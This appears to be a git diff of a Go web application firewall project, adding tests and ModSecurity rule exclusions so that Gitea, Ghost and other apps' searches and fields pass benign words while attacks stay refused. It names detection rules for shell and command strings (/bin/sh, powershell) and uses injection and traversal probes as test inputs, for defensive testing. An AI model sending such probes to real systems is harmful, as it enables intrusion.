|
||||||
{"/api/settings/", scriptInSettings},
|
{"/api/settings/", scriptInSettings},
|
||||||
{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
|
{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
|
||||||
|
{ghostPosts, scriptInTag},
|
||||||
|
{ghostTags + "?json.tags.0.codeinjection_head=x", scriptInTag},
|
||||||
} {
|
} {
|
||||||
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
||||||
|
|
||||||
@@ -563,7 +937,8 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
|||||||
|
|
||||||
// The query fields keep their rules off Ghost's paths, and in other
|
// The query fields keep their rules off Ghost's paths, and in other
|
||||||
// query fields there. search skips its rules only on the Admin API, and
|
// query fields there. search skips its rules only on the Admin API, and
|
||||||
// url only on the editor's lookup of embeds.
|
// url only on the editor's lookup of embeds. pathname, email_segment,
|
||||||
|
// query and email skip theirs only on their own paths.
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
"/api/posts/?filter=powershell",
|
"/api/posts/?filter=powershell",
|
||||||
"/ghost/posts/?filter=powershell",
|
"/ghost/posts/?filter=powershell",
|
||||||
@@ -572,11 +947,79 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
|||||||
"/members/api/member/?search=python3",
|
"/members/api/member/?search=python3",
|
||||||
"/ghost/api/admin/posts/?url=powershell",
|
"/ghost/api/admin/posts/?url=powershell",
|
||||||
"/oembed/?url=powershell",
|
"/oembed/?url=powershell",
|
||||||
|
"/ghost/api/admin/posts/?pathname=%2Fpowershell%2F",
|
||||||
|
"/ghost/api/admin/stats/top-content/?order=powershell",
|
||||||
|
"/ghost/api/admin/pages/?email_segment=label%3Apowershell-users",
|
||||||
|
"/ghost/api/admin/posts/?query=python3",
|
||||||
|
"/.ghost/activitypub/v1/actions/note?query=python3",
|
||||||
|
"/ghost/api/admin/invites/?email=python3.dev%40example.com",
|
||||||
} {
|
} {
|
||||||
wantGhostQuery(t, target, true)
|
wantGhostQuery(t, target, true)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
|
||||||
|
// fields that 900370 to 900382 name, as TestGhostExclusionsAreNarrow checks
|
||||||
|
// the others: each keeps its rules on another path, and when the query has
|
||||||
|
// a field of the same name.
|
||||||
|
func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const (
|
||||||
|
bio = `{"users":[{"bio":"python3"}]}`
|
||||||
|
comment = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
|
||||||
|
content = `{"content":"python3"}`
|
||||||
|
altText = `{"image":{"altText":"python3"}}`
|
||||||
|
accountBio = `{"bio":"python3"}`
|
||||||
|
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
|
||||||
|
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
|
||||||
|
sourceHandle = `{"sourceHandle":"@powershell@example.com"}`
|
||||||
|
actorURI = `{"actorUri":"https://example.com/users/powershell"}`
|
||||||
|
targetHandle = `{"targetHandle":"@powershell@example.com"}`
|
||||||
|
domain = `{"domain":"python3.example.com"}`
|
||||||
|
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
|
||||||
|
tagURL = `{"tags":[{"canonical_url":"https://example.com/tag/powershell/"}]}`
|
||||||
|
)
|
||||||
|
|
||||||
|
for _, refused := range []struct{ target, body string }{
|
||||||
|
{"/api/users/1/", bio},
|
||||||
|
{ghostMember, bio},
|
||||||
|
{ghostUser + "?json.users.0.bio=x", bio},
|
||||||
|
{ghostPosts, comment},
|
||||||
|
{ghostComments + "?json.comments.0.html=x", comment},
|
||||||
|
{ghostAccount, content},
|
||||||
|
{ghostNote + "?json.content=x", content},
|
||||||
|
{ghostAccount, altText},
|
||||||
|
{ghostNote + "?json.image.altText=x", altText},
|
||||||
|
{ghostNote, accountBio},
|
||||||
|
{ghostAccount + "?json.bio=x", accountBio},
|
||||||
|
{ghostPosts, invited},
|
||||||
|
{ghostInvites + "?json.invites.0.email=x", invited},
|
||||||
|
{ghostInvites, accepted},
|
||||||
|
{ghostInvitation + "?json.invitation.0.email=x", accepted},
|
||||||
|
{ghostMigration, sourceHandle},
|
||||||
|
{ghostAliases + "?json.sourceHandle=x", sourceHandle},
|
||||||
|
{ghostMigration, actorURI},
|
||||||
|
{ghostAliases + "?json.actorUri=x", actorURI},
|
||||||
|
{ghostAliases, targetHandle},
|
||||||
|
{ghostMigration + "?json.targetHandle=x", targetHandle},
|
||||||
|
{ghostAccount, domain},
|
||||||
|
{ghostDomain + "?json.domain=x", domain},
|
||||||
|
{ghostPosts, tagCode},
|
||||||
|
{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
|
||||||
|
{ghostPosts, tagURL},
|
||||||
|
{ghostTags + "?json.tags.0.canonical_url=x", tagURL},
|
||||||
|
} {
|
||||||
|
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, readingBodies(t), r, refused.body)
|
||||||
|
if got.Score < ghostThreshold {
|
||||||
|
t.Errorf("PUT %s %s let through: %+v", refused.target,
|
||||||
|
refused.body, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestGhostPasswordsPass(t *testing.T) {
|
func TestGhostPasswordsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -172,11 +172,11 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
|||||||
|
|
||||||
# A branch, tag or package name can hold a slash, as feat/docker-support and
|
# A branch, tag or package name can hold a slash, as feat/docker-support and
|
||||||
# npm's @scope/name do. So q on a repository's branches, tags and packages
|
# npm's @scope/name do. So q on a repository's branches, tags and packages
|
||||||
# pages, on an owner's packages page and on the admin page of packages also
|
# pages, on an owner's packages page, on the admin page of packages and on the
|
||||||
# skips this rule:
|
# API's search of packages also skips this rule:
|
||||||
# 932160: /bin/sh
|
# 932160: /bin/sh
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
|
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
|
||||||
admin/packages)$" \
|
admin/packages|api/v1/packages/[^/]+)$" \
|
||||||
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
|
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
|
||||||
|
|
||||||
# gitea's other searches send a name or a few words in q too, which skips only
|
# gitea's other searches send a name or a few words in q too, which skips only
|
||||||
@@ -188,7 +188,9 @@ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
|
|||||||
# The searches:
|
# The searches:
|
||||||
# - the dashboard's filter of repositories;
|
# - the dashboard's filter of repositories;
|
||||||
# - the author filter of the issue and pull request lists;
|
# - the author filter of the issue and pull request lists;
|
||||||
# - the lists of users and organisations, and the API's search for users;
|
# - the lists of users and organisations;
|
||||||
|
# - the API's searches of users, of topics, of an organisation's teams and of
|
||||||
|
# emails;
|
||||||
# - the list of repositories a user watches;
|
# - the list of repositories a user watches;
|
||||||
# - an organisation's milestones of one team, and its search for teams;
|
# - an organisation's milestones of one team, and its search for teams;
|
||||||
# - the milestones of a repository or an organisation, and the projects of a
|
# - the milestones of a repository or an organisation, and the projects of a
|
||||||
@@ -205,7 +207,9 @@ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
|
|||||||
# versions holds the package's name, which can hold a slash, as npm's
|
# versions holds the package's name, which can hold a slash, as npm's
|
||||||
# @scope/name does.
|
# @scope/name does.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
|
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
|
||||||
explore/(?:users|organizations)|api/v1/users/search|\
|
explore/(?:users|organizations)|\
|
||||||
|
api/v1/(?:users/search|topics/search|orgs/[^/]+/teams/search|\
|
||||||
|
admin/emails/search)|\
|
||||||
org/[^/]+/(?:milestones/[^/]+|teams/-/search)|\
|
org/[^/]+/(?:milestones/[^/]+|teams/-/search)|\
|
||||||
[^/]+/-/packages/[^/]+/.+/versions|\
|
[^/]+/-/packages/[^/]+/.+/versions|\
|
||||||
[^/]+/[^/]+/(?:(?:issues|pulls)/posters|issues/suggestions|milestones|\
|
[^/]+/[^/]+/(?:(?:issues|pulls)/posters|issues/suggestions|milestones|\
|
||||||
@@ -219,6 +223,29 @@ SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
|
# Two of the API's searches send their words in a field other than q, which
|
||||||
|
# skips these rules there:
|
||||||
|
# 930120: .htaccess
|
||||||
|
# 932120: powershell
|
||||||
|
# 932250: ls -la
|
||||||
|
# 932260: python3, alice/python3-app
|
||||||
|
# The search of unadopted repositories sends an owner and a name, such as
|
||||||
|
# alice/python3-app, in query.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/api/v1/admin/unadopted$" \
|
||||||
|
"id:900607,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:query,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:query,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:query,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:query"
|
||||||
|
|
||||||
|
# The search of a repository's milestones sends a milestone's name in name.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/milestones$" \
|
||||||
|
"id:900608,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:name,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:name,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:name,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:name"
|
||||||
|
|
||||||
# The repositories on a user's or an organisation's page are searched with q
|
# The repositories on a user's or an organisation's page are searched with q
|
||||||
# too. Their path has one segment, so q skips these rules on every path of one
|
# too. Their path has one segment, so q skips these rules on every path of one
|
||||||
# segment, other apps' pages such as /index.php included:
|
# segment, other apps' pages such as /index.php included:
|
||||||
@@ -394,7 +421,7 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
|
|||||||
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
|
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
|
||||||
|
|
||||||
# The requests below name a file or a branch in a body field, which is read only
|
# The requests below name a file or a branch in a body field, which is read only
|
||||||
# while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Each field skips the rules that
|
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Each field skips the rules that
|
||||||
# refused it.
|
# refused it.
|
||||||
# Each field below that names a branch skips these rules:
|
# Each field below that names a branch skips these rules:
|
||||||
# 932120: fix-powershell-module
|
# 932120: fix-powershell-module
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package coreruleset_test
|
|||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
"slices"
|
"slices"
|
||||||
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
@@ -85,7 +86,7 @@ func TestGiteaAdminFormsLetHardValuesThroughInTheBody(t *testing.T) {
|
|||||||
func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
|
func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
|
|
||||||
@@ -146,7 +147,7 @@ func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
|
|||||||
func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
|
func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||||
|
|
||||||
@@ -170,7 +171,7 @@ func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
|
|||||||
func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
|
func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
@@ -182,7 +183,7 @@ func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
attacks := []string{"%2Fbin%2Fsh", commandInjection, pathTraversal}
|
attacks := []string{binSh, commandInjection, pathTraversal}
|
||||||
|
|
||||||
// /bin/sh, a shell command after a ";", a path traversal and the hard
|
// /bin/sh, a shell command after a ";", a path traversal and the hard
|
||||||
// values stay refused in q on paths near the searches, and in another
|
// values stay refused in q on paths near the searches, and in another
|
||||||
@@ -248,3 +249,102 @@ func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// giteaAPISearches are the API's searches that gitea and Forgejo share whose
|
||||||
|
// field skips the lists of system files and command names. Each ends in the
|
||||||
|
// field it sends its words in.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var giteaAPISearches = []string{
|
||||||
|
"/api/v1/users/search?q=",
|
||||||
|
"/api/v1/topics/search?q=",
|
||||||
|
"/api/v1/orgs/acme/teams/search?q=",
|
||||||
|
"/api/v1/admin/emails/search?q=",
|
||||||
|
"/api/v1/admin/unadopted?query=",
|
||||||
|
"/api/v1/repos/alice/tools/milestones?name=",
|
||||||
|
}
|
||||||
|
|
||||||
|
// giteaAPIPackageSearch is the API's search of an owner's packages, whose q
|
||||||
|
// also lets /bin/sh through, since a package name can hold a slash.
|
||||||
|
const giteaAPIPackageSearch = "/api/v1/packages/alice?q="
|
||||||
|
|
||||||
|
func TestGiteaAttacksAreRefusedInItsAPISearches(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
|
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||||
|
searches := slices.Concat(
|
||||||
|
giteaAPISearches,
|
||||||
|
[]string{giteaAPIPackageSearch},
|
||||||
|
)
|
||||||
|
|
||||||
|
for _, search := range searches {
|
||||||
|
path, field, _ := strings.Cut(search, "?")
|
||||||
|
|
||||||
|
for _, attack := range []string{
|
||||||
|
sqlInjection, pathTraversal, scriptInjection, commandInjection,
|
||||||
|
} {
|
||||||
|
if got := inspect(t, defaults, get(search+attack)); got.Score < threshold {
|
||||||
|
t.Errorf("GET %s%s let through: %+v", search, attack, got)
|
||||||
|
}
|
||||||
|
|
||||||
|
// The same field in a form data body.
|
||||||
|
r := request{http.MethodPost, path, []string{formData}}
|
||||||
|
if got, _ := inspectBody(t, bodies, r, field+attack); got.Score < threshold {
|
||||||
|
t.Errorf(
|
||||||
|
"POST %s %s%s let through: %+v",
|
||||||
|
path,
|
||||||
|
field,
|
||||||
|
attack,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// /bin/sh stays refused on the searches that are not of packages.
|
||||||
|
for _, search := range giteaAPISearches {
|
||||||
|
if got := inspect(t, defaults, get(search+binSh)); got.Score < threshold {
|
||||||
|
t.Errorf("%s%s let through: %+v", search, binSh, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGiteaAPISearchExclusionsAreNarrow(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
|
crs := atDefaults(t)
|
||||||
|
|
||||||
|
// /bin/sh, a shell command after a ";", a path traversal and the hard
|
||||||
|
// values stay refused in each search's field on paths near the
|
||||||
|
// searches, and in another field on them.
|
||||||
|
for _, target := range []string{
|
||||||
|
"/api/v1/topics/search/x?q=",
|
||||||
|
"/api/v1/orgs/acme/teams?q=",
|
||||||
|
"/api/v1/orgs/acme/teams/search/x?q=",
|
||||||
|
"/api/v1/admin/emails?q=",
|
||||||
|
"/api/v1/admin/unadopted/alice/legacy-site?query=",
|
||||||
|
"/api/v1/admin/users?query=",
|
||||||
|
"/api/v1/repos/alice/tools/milestones/1?name=",
|
||||||
|
"/api/v1/repos/alice/tools/labels?name=",
|
||||||
|
"/api/v1/packages/alice/generic/tools-cli?q=",
|
||||||
|
"/api/v1/topics/search?other=",
|
||||||
|
"/api/v1/orgs/acme/teams/search?other=",
|
||||||
|
"/api/v1/admin/emails/search?other=",
|
||||||
|
"/api/v1/admin/unadopted?q=",
|
||||||
|
"/api/v1/repos/alice/tools/milestones?q=",
|
||||||
|
"/api/v1/packages/alice?other=",
|
||||||
|
} {
|
||||||
|
for _, value := range slices.Concat(
|
||||||
|
[]string{binSh, commandInjection, pathTraversal},
|
||||||
|
hardValues,
|
||||||
|
) {
|
||||||
|
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
||||||
|
t.Errorf("%s%s let through: %+v", target, value, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -5,7 +5,7 @@
|
|||||||
# file is loaded before the Core Rule Set's rules. Each comment names a request
|
# file is loaded before the Core Rule Set's rules. Each comment names a request
|
||||||
# a rule refused. An exclusion on a field of a body applies only when the query
|
# a rule refused. An exclusion on a field of a body applies only when the query
|
||||||
# has no parameter of that name, so it matters only while
|
# has no parameter of that name, so it matters only while
|
||||||
# SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
# SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
||||||
#
|
#
|
||||||
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
|
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
|
||||||
# resources under them count as Mastodon's paths.
|
# resources under them count as Mastodon's paths.
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// mastodonThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
// mastodonThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
||||||
const mastodonThreshold = 5
|
const mastodonThreshold = 5
|
||||||
|
|
||||||
// mastodonStatuses is where Mastodon's apps and web app post.
|
// mastodonStatuses is where Mastodon's apps and web app post.
|
||||||
|
|||||||
@@ -5,7 +5,7 @@
|
|||||||
# request, before the rules it switches off, so this file is loaded before the
|
# request, before the rules it switches off, so this file is loaded before the
|
||||||
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
||||||
# exclusion on a field of a body applies only when the query has no parameter of
|
# exclusion on a field of a body applies only when the query has no parameter of
|
||||||
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
||||||
# MediaWiki's paths are matched at the site root and under /w/.
|
# MediaWiki's paths are matched at the site root and under /w/.
|
||||||
#
|
#
|
||||||
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
|
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
||||||
const mediawikiThreshold = 5
|
const mediawikiThreshold = 5
|
||||||
|
|
||||||
// mediawiki is MediaWiki's name in SWW_WAF_APPS.
|
// mediawiki is MediaWiki's name in SWW_WAF_APPS.
|
||||||
@@ -76,7 +76,8 @@ func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := shared(t, coreruleset.Params{
|
crs := shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||||
|
BodyInspectionSize: bodyInspectionSize,
|
||||||
Apps: map[string][]string{
|
Apps: map[string][]string{
|
||||||
giteaHost: {gitea},
|
giteaHost: {gitea},
|
||||||
otherHost: {mediawiki},
|
otherHost: {mediawiki},
|
||||||
@@ -120,7 +121,8 @@ func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := shared(t, coreruleset.Params{
|
crs := shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||||
|
BodyInspectionSize: bodyInspectionSize,
|
||||||
Apps: map[string][]string{
|
Apps: map[string][]string{
|
||||||
giteaHost: {gitea},
|
giteaHost: {gitea},
|
||||||
otherHost: {mediawiki},
|
otherHost: {mediawiki},
|
||||||
|
|||||||
@@ -5,7 +5,7 @@
|
|||||||
# switches off, so this file is loaded before the Core Rule Set's rules. Each
|
# switches off, so this file is loaded before the Core Rule Set's rules. Each
|
||||||
# comment names a request a rule refused. An exclusion on a field of a JSON body
|
# comment names a request a rule refused. An exclusion on a field of a JSON body
|
||||||
# applies only when the query has no parameter of that name, so it matters only
|
# applies only when the query has no parameter of that name, so it matters only
|
||||||
# while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Nextcloud's pages are matched
|
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Nextcloud's pages are matched
|
||||||
# at the site root and under /index.php/, where a Nextcloud without pretty URLs
|
# at the site root and under /index.php/, where a Nextcloud without pretty URLs
|
||||||
# serves them.
|
# serves them.
|
||||||
#
|
#
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
||||||
const nextcloudThreshold = 5
|
const nextcloudThreshold = 5
|
||||||
|
|
||||||
// nextcloudSignIn is the sign-in page.
|
// nextcloudSignIn is the sign-in page.
|
||||||
@@ -102,7 +102,8 @@ func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := shared(t, coreruleset.Params{
|
crs := shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||||
|
BodyInspectionSize: bodyInspectionSize,
|
||||||
Apps: map[string][]string{
|
Apps: map[string][]string{
|
||||||
giteaHost: {gitea},
|
giteaHost: {gitea},
|
||||||
otherHost: {nextcloud},
|
otherHost: {nextcloud},
|
||||||
@@ -528,7 +529,7 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
|
|||||||
func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
target := nextcloudUsers + "/alice"
|
target := nextcloudUsers + "/alice"
|
||||||
|
|||||||
@@ -57,7 +57,7 @@ func giteaRequests(t *testing.T) []request {
|
|||||||
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
|
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
requests := giteaRequests(t)
|
requests := giteaRequests(t)
|
||||||
giteaOnly := map[string][]string{giteaHost: {gitea}}
|
giteaOnly := map[string][]string{giteaHost: {gitea}}
|
||||||
@@ -133,7 +133,7 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
|
|||||||
func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
requests := recordedRequests(t, name)
|
requests := recordedRequests(t, name)
|
||||||
|
|
||||||
@@ -144,7 +144,7 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
|||||||
defaults := servingApps(t, apps)
|
defaults := servingApps(t, apps)
|
||||||
bodies := shared(t, coreruleset.Params{
|
bodies := shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||||
BodyLimit: bodyLimit, Apps: apps,
|
BodyInspectionSize: bodyInspectionSize, Apps: apps,
|
||||||
})
|
})
|
||||||
|
|
||||||
for _, recorded := range requests {
|
for _, recorded := range requests {
|
||||||
@@ -214,7 +214,7 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
|||||||
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
|
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
requests := recordedRequests(t, "forgejo-requests.txt")
|
requests := recordedRequests(t, "forgejo-requests.txt")
|
||||||
forgejoOnly := map[string][]string{"example.com": {forgejo}}
|
forgejoOnly := map[string][]string{"example.com": {forgejo}}
|
||||||
|
|||||||
@@ -974,3 +974,63 @@
|
|||||||
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
